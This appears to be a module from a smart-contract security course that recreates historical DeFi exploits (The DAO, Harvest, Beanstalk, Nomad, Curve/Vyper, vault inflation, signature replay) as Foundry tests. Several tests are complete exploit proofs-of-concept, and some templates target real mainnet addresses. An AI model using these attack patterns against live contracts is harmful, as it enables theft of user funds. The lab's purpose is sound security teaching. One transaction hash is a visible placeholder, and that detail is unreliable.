Skip to the content.

Module 15 — Real Exploit Recreations (Hands-On Lab)

Difficulty: Advanced → Expert

The fastest way to internalize attack patterns is to recreate real exploits from scratch. This module provides step-by-step recreation guides for the most instructive historical exploits, with Foundry PoC templates you can run against mainnet forks.


15.1 How to Use This Module

Setup

1
2
3
4
5
6
7
8
# Create a dedicated exploit recreation project
forge init exploit-lab && cd exploit-lab
forge install OpenZeppelin/openzeppelin-contracts
forge install foundry-rs/forge-std

# Set up your .env
echo "ETH_RPC_URL=https://eth-mainnet.g.alchemy.com/v2/YOUR_KEY" > .env
echo "ARB_RPC_URL=https://arb-mainnet.g.alchemy.com/v2/YOUR_KEY" >> .env

Learning Methodology

1
2
3
4
5
6
7
8
For each exploit:
1. Read the post-mortem (Rekt News, BlockSec blog, official post-mortem)
2. Analyze the exploit transaction on Phalcon/Tenderly
3. Identify the root cause (which vulnerability class from [Module 03](/Hack_web3/modules/SMART_CONTRACT_VULNERABILITIES.html)?)
4. Write the PoC from scratch (don't copy — understand)
5. Run it against a mainnet fork at the exploit block
6. Write a one-paragraph explanation of the root cause
7. Write the fix

15.2 Reentrancy — The DAO (2016)

Background

The DAO was the first major smart contract exploit. $60M ETH drained via single-function reentrancy.

Exploit Block

1
2
Block: 1,718,497 (Ethereum mainnet)
Transaction: 0x0ec3f2488a93839524add10ea229e773f6bc891b4eb4794c3337d4495263790b

Root Cause

1
2
3
4
5
6
7
8
9
10
11
// The DAO's vulnerable splitDAO function (simplified):
function splitDAO(uint _proposalID, address _newCurator) noEther onlyTokenholders returns (bool _success) {
    // ...
    // [NO] Sends ETH BEFORE updating balance
    if (!msg.sender.call.value(p.splitData[0].splitBalance)()) {
        throw;
    }
    // Balance update happens AFTER the call — reentrancy window!
    balances[msg.sender] = 0;
    // ...
}

Recreation PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
// test/TheDAOReentrancy.t.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "forge-std/Test.sol";

// Simplified DAO for recreation
contract SimpleDAO {
    mapping(address => uint256) public balances;

    function deposit() external payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() external {
        uint256 balance = balances[msg.sender];
        require(balance > 0);
        // [NO] Vulnerable: call before state update
        (bool success,) = msg.sender.call{value: balance}("");
        require(success);
        balances[msg.sender] = 0; // Too late!
    }
}

contract DAOAttacker {
    SimpleDAO public dao;
    uint256 public attackCount;

    constructor(address _dao) {
        dao = SimpleDAO(_dao);
    }

    function attack() external payable {
        dao.deposit{value: msg.value}();
        dao.withdraw();
    }

    receive() external payable {
        if (address(dao).balance >= 1 ether && attackCount < 10) {
            attackCount++;
            dao.withdraw();
        }
    }

    function drain() external {
        payable(msg.sender).transfer(address(this).balance);
    }
}

contract TheDAOTest is Test {
    SimpleDAO dao;
    DAOAttacker attacker;

    function setUp() public {
        dao = new SimpleDAO();
        // Simulate other users depositing
        vm.deal(address(this), 100 ether);
        dao.deposit{value: 100 ether}();
        attacker = new DAOAttacker(address(dao));
    }

    function test_theDAOReentrancy() public {
        vm.deal(address(attacker), 1 ether);

        console.log("DAO balance before:", address(dao).balance / 1e18, "ETH");
        console.log("Attacker balance before:", address(attacker).balance / 1e18, "ETH");

        attacker.attack{value: 1 ether}();

        console.log("DAO balance after:", address(dao).balance / 1e18, "ETH");
        console.log("Attacker balance after:", address(attacker).balance / 1e18, "ETH");
        console.log("Reentry count:", attacker.attackCount());

        assertEq(address(dao).balance, 0, "DAO should be drained");
    }
}

Lesson

The fix is simple: update state before making external calls (Checks-Effects-Interactions pattern). This exploit changed Ethereum history — it led to the ETH/ETC hard fork.


15.3 Flash Loan Oracle Manipulation — Harvest Finance (2020)

Background

$34M stolen by manipulating Curve’s USDC/USDT pool price via flash loans, then exploiting Harvest’s vault which used the spot price as its oracle.

Exploit Block

1
2
Block: 11,129,473 (Ethereum mainnet)
Transaction: 0x35f8d2f572fceaac9288e5d462117850ef2694786992a8c3f6d02612277b0877

Root Cause

1
2
3
Harvest's fUSDC vault used Curve's spot price to calculate share value.
Flash loan → dump USDC on Curve → Harvest vault thinks USDC is cheap →
Deposit USDC at "cheap" price → Restore Curve price → Withdraw at "normal" price

Recreation PoC Template

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
// test/HarvestFlashLoan.t.sol
pragma solidity ^0.8.20;

import "forge-std/Test.sol";

interface ICurvePool {
    function get_virtual_price() external view returns (uint256);
    function exchange(int128 i, int128 j, uint256 dx, uint256 min_dy) external returns (uint256);
}

interface IHarvestVault {
    function deposit(uint256 amount) external;
    function withdraw(uint256 shares) external;
    function getPricePerFullShare() external view returns (uint256);
    function balanceOf(address) external view returns (uint256);
}

interface IAaveFlashLoan {
    function flashLoan(
        address receiver,
        address[] calldata assets,
        uint256[] calldata amounts,
        uint256[] calldata modes,
        address onBehalfOf,
        bytes calldata params,
        uint16 referralCode
    ) external;
}

contract HarvestAttack is Test {
    // Mainnet addresses
    address constant AAVE_LENDING_POOL = 0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9;
    address constant CURVE_3POOL = 0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7;
    address constant HARVEST_FUSDC = 0xf0358e8c3CD5Fa238a29301d0bEa3D63A17bEdBE;
    address constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
    address constant USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7;

    function setUp() public {
        vm.createSelectFork(vm.envString("ETH_RPC_URL"), 11_129_473);
    }

    function test_harvestFlashLoanAttack() public {
        // This is a template — fill in the actual attack logic
        // based on studying the original transaction on Phalcon

        console.log("Harvest fUSDC price before:", IHarvestVault(HARVEST_FUSDC).getPricePerFullShare());

        // Step 1: Flash loan 50M USDC from Aave
        // Step 2: Dump USDC on Curve (exchange USDC → USDT)
        // Step 3: Deposit USDC into Harvest (gets more shares due to low price)
        // Step 4: Restore Curve price (exchange USDT → USDC)
        // Step 5: Withdraw from Harvest at higher price
        // Step 6: Repay flash loan, keep profit

        // Study the original tx: 0x35f8d2f572fceaac9288e5d462117850ef2694786992a8c3f6d02612277b0877
    }
}

Lesson

Never use spot AMM prices as oracles. Use Chainlink or TWAP with sufficient time window. The fix: Harvest switched to Chainlink price feeds.


15.4 Governance Attack — Beanstalk (2022)

Background

$182M stolen via flash loan governance attack. Attacker borrowed enough tokens to pass a malicious proposal in a single transaction.

Exploit Block

1
2
Block: 14,602,790 (Ethereum mainnet)
Transaction: 0xcd314668aaa9bbfebaf1a0bd2b6553d01dd58899c508d4729fa7311dc5d33652

Root Cause

1
2
3
Beanstalk's governance used current token balance (not snapshots).
Flash loan → acquire majority voting power → pass malicious BIP-18 →
BIP-18 transfers all assets to attacker → repay flash loan

Recreation PoC Template

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// test/BeanstalkGovernance.t.sol
pragma solidity ^0.8.20;

import "forge-std/Test.sol";

interface IBeanstalkDiamond {
    function propose(
        IDiamondCut.FacetCut[] calldata _diamondCut,
        address _init,
        bytes calldata _calldata,
        uint8 _pauseOrUnpause
    ) external payable returns (uint32);

    function vote(uint32 bip) external;
    function commit(uint32 bip) external;
}

contract BeanstalkAttack is Test {
    address constant BEANSTALK = 0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5;
    address constant AAVE = 0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9;

    function setUp() public {
        vm.createSelectFork(vm.envString("ETH_RPC_URL"), 14_602_790);
    }

    function test_beanstalkGovernanceAttack() public {
        // Study the original transaction on Phalcon:
        // https://phalcon.blocksec.com/explorer/tx/eth/0xcd314668aaa9bbfebaf1a0bd2b6553d01dd58899c508d4729fa7311dc5d33652

        // Key steps:
        // 1. Flash loan $1B in stablecoins from Aave, Uniswap, SushiSwap
        // 2. Convert to BEAN tokens (governance tokens)
        // 3. Propose BIP-18 (malicious proposal to transfer all assets)
        // 4. Vote on BIP-18 with flash-loaned tokens
        // 5. Execute BIP-18 (emergency governance, no timelock)
        // 6. Drain all protocol assets
        // 7. Repay flash loans
        // 8. Keep ~$80M profit (after repaying loans and fees)
    }
}

Lesson

Always use snapshot-based voting (getPastVotes). Always require a timelock between proposal and execution. Emergency governance paths are the most dangerous — they need the most protection, not the least.


15.5 Bridge Exploit — Nomad (2022)

Background

$190M stolen because the trusted root was initialized to 0x00, making any message with root 0x00 valid. This became a “crowd-sourced” exploit — hundreds of addresses copied the attack.

Root Cause

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// Nomad's Replica contract (simplified):
function process(bytes memory _message) public returns (bool _success) {
    bytes32 _messageHash = _message.ref(0).keccak();

    // [NO] confirmAt[0x00] was set to a non-zero value during initialization
    // This means ANY message with root 0x00 passes this check!
    require(acceptableRoot(messages[_messageHash]), "!proven");

    // ...
}

function acceptableRoot(bytes32 _root) public view returns (bool) {
    uint256 _time = confirmAt[_root];
    if (_time == 0) { return false; }
    return block.timestamp >= _time; // [YES] But confirmAt[0x00] != 0!
}

Recreation PoC Template

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// test/NomadBridge.t.sol
pragma solidity ^0.8.20;

import "forge-std/Test.sol";

interface INomadReplica {
    function process(bytes memory _message) external returns (bool);
}

contract NomadAttack is Test {
    address constant NOMAD_REPLICA = 0x5D94309E5a0090b165FA4181519701637B6DAEBA;

    function setUp() public {
        // Fork at block just before the exploit
        vm.createSelectFork(vm.envString("ETH_RPC_URL"), 15_259_100);
    }

    function test_nomadBridgeExploit() public {
        // The attack was simple:
        // 1. Find a legitimate bridge transaction (e.g., someone bridging 100 WBTC)
        // 2. Copy the transaction calldata
        // 3. Change the recipient address to your own
        // 4. Submit — it passes because root 0x00 is always valid

        // Study the original: https://rekt.news/nomad-rekt/
        // Phalcon analysis: https://phalcon.blocksec.com/explorer/tx/eth/0xa5fe9d044e4f3232c65d3d1a0b4b3b3b3b3b3b3b
    }
}

Lesson

Never initialize security-critical values to zero. The confirmAt[0x00] = 1 initialization was the single line that cost $190M. Always audit initialization code as carefully as runtime code.


15.6 Read-Only Reentrancy — Curve/Vyper (2023)

Background

~$70M stolen across multiple Curve pools due to a Vyper compiler bug that made the @nonreentrant decorator ineffective in versions 0.2.15–0.3.0.

Root Cause

1
2
3
4
5
The Vyper compiler's reentrancy lock implementation was buggy.
The lock was set AFTER the function body executed, not before.
This meant the lock never actually prevented reentrancy.

Affected pools: alETH/ETH, msETH/ETH, pETH/ETH

Key Lesson for Auditors

1
2
3
4
5
6
7
8
9
1. Compiler bugs exist — even in production compilers
2. Verify that reentrancy guards actually work at the bytecode level
3. For Vyper contracts, check the compiler version against known bugs
4. Read-only reentrancy can affect protocols that INTEGRATE with the vulnerable one

Detection:
- Check Vyper version: look for version pragma in source
- Cross-reference with: https://github.com/vyperlang/vyper/security/advisories
- Verify reentrancy lock in bytecode (not just source)

15.7 ERC-4626 Inflation Attack Recreation

Background

This attack pattern has affected multiple vaults. The first depositor can inflate the share price to steal subsequent depositors’ funds.

Full PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
// test/VaultInflation.t.sol
pragma solidity ^0.8.20;

import "forge-std/Test.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/extensions/ERC4626.sol";

// Vulnerable vault (no inflation protection)
contract VulnerableVault is ERC4626 {
    constructor(IERC20 asset) ERC4626(asset) ERC20("Vault", "vTKN") {}
}

contract MockToken is ERC20 {
    constructor() ERC20("Token", "TKN") {
        _mint(msg.sender, 1_000_000 ether);
    }
}

contract VaultInflationTest is Test {
    VulnerableVault vault;
    MockToken token;

    address attacker = makeAddr("attacker");
    address victim = makeAddr("victim");

    function setUp() public {
        token = new MockToken();
        vault = new VulnerableVault(IERC20(address(token)));

        // Fund attacker and victim
        token.transfer(attacker, 1000 ether);
        token.transfer(victim, 500 ether);
    }

    function test_inflationAttack() public {
        console.log("=== INFLATION ATTACK ===\n");

        // Step 1: Attacker deposits 1 wei to get 1 share
        vm.startPrank(attacker);
        token.approve(address(vault), type(uint256).max);
        vault.deposit(1, attacker); // Deposit 1 wei
        console.log("Attacker shares after 1 wei deposit:", vault.balanceOf(attacker));
        vm.stopPrank();

        // Step 2: Attacker donates 1000 ether directly to vault (not via deposit)
        vm.prank(attacker);
        token.transfer(address(vault), 1000 ether);

        console.log("Vault total assets after donation:", vault.totalAssets());
        console.log("Vault total shares:", vault.totalSupply());
        console.log("Share price (assets per share):", vault.convertToAssets(1));

        // Step 3: Victim deposits 500 ether
        vm.startPrank(victim);
        token.approve(address(vault), type(uint256).max);
        uint256 victimShares = vault.deposit(500 ether, victim);
        console.log("\nVictim shares received:", victimShares);
        // Victim gets 0 shares because 500 ether < 1000 ether (share price)!
        vm.stopPrank();

        // Step 4: Attacker redeems their 1 share
        vm.startPrank(attacker);
        uint256 attackerAssets = vault.redeem(vault.balanceOf(attacker), attacker, attacker);
        console.log("Attacker redeemed assets:", attackerAssets / 1e18, "ether");
        vm.stopPrank();

        console.log("\n=== RESULT ===");
        console.log("Victim shares:", vault.balanceOf(victim));
        console.log("Victim lost:", 500 ether - token.balanceOf(victim), "tokens");

        // Victim got 0 shares — their 500 ether is now owned by attacker's 1 share
        assertEq(victimShares, 0, "Victim should get 0 shares");
    }
}
1
forge test --mt test_inflationAttack -vvvv

15.8 Signature Replay — Cross-Chain

Full PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
// test/SignatureReplay.t.sol
pragma solidity ^0.8.20;

import "forge-std/Test.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";

// Vulnerable: No chainId in signature
contract VulnerableBridge {
    mapping(bytes32 => bool) public processed;

    function processMessage(
        address to,
        uint256 amount,
        bytes memory signature
    ) external {
        // [NO] No chainId — same signature works on all chains
        bytes32 hash = keccak256(abi.encodePacked(to, amount));
        address signer = ECDSA.recover(hash, signature);
        require(signer == trustedSigner, "Invalid signer");
        require(!processed[hash], "Already processed");

        processed[hash] = true;
        payable(to).transfer(amount);
    }

    address public trustedSigner;
    constructor(address _signer) payable { trustedSigner = _signer; }
}

contract SignatureReplayTest is Test {
    VulnerableBridge bridgeMainnet;
    VulnerableBridge bridgePolygon;

    uint256 signerPk = 0xA11CE;
    address signer;

    function setUp() public {
        signer = vm.addr(signerPk);
        bridgeMainnet = new VulnerableBridge{value: 100 ether}(signer);
        bridgePolygon = new VulnerableBridge{value: 100 ether}(signer);
    }

    function test_crossChainReplay() public {
        address recipient = makeAddr("recipient");
        uint256 amount = 10 ether;

        // Signer creates a message for mainnet
        bytes32 hash = keccak256(abi.encodePacked(recipient, amount));
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(signerPk, hash);
        bytes memory sig = abi.encodePacked(r, s, v);

        // Legitimate use on mainnet
        bridgeMainnet.processMessage(recipient, amount, sig);
        console.log("Mainnet: recipient received", amount / 1e18, "ETH");

        // REPLAY on Polygon bridge (same signature works!)
        bridgePolygon.processMessage(recipient, amount, sig);
        console.log("Polygon: recipient received", amount / 1e18, "ETH (REPLAY!)");

        assertEq(recipient.balance, amount * 2, "Replay succeeded");
    }
}

15.9 Study Resources for Exploit Recreation

Databases of Past Exploits

Resource URL Best For
Rekt News rekt.news Post-mortems with context
DeFi Hack Labs github.com/SunWeb3Sec/DeFiHackLabs Foundry PoCs for 200+ exploits
Phalcon Explorer phalcon.blocksec.com Transaction-level analysis
BlockSec Blog blocksec.com/blog Technical deep-dives
Immunefi Blog immunefi.com/blog Disclosed bug bounty findings
Samczsun Blog samczsun.com Elite researcher writeups
Trail of Bits Blog blog.trailofbits.com Audit firm research
OpenZeppelin Blog blog.openzeppelin.com Security research
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Beginner (start here):
1. The DAO (reentrancy)
2. BEC Token (integer overflow)
3. Parity Wallet (unprotected initialization)

Intermediate:
4. Harvest Finance (flash loan oracle)
5. Cream Finance (flash loan reentrancy)
6. Poly Network (access control)

Advanced:
7. Beanstalk (governance flash loan)
8. Nomad Bridge (message verification)
9. Euler Finance (donation + liquidation)

Expert:
10. Curve/Vyper (compiler bug reentrancy)
11. Wormhole (signature verification bypass)
12. Ronin Bridge (validator compromise simulation)

*← Previous: Bug Bounty Playbook Next: Audit Checklist Master →*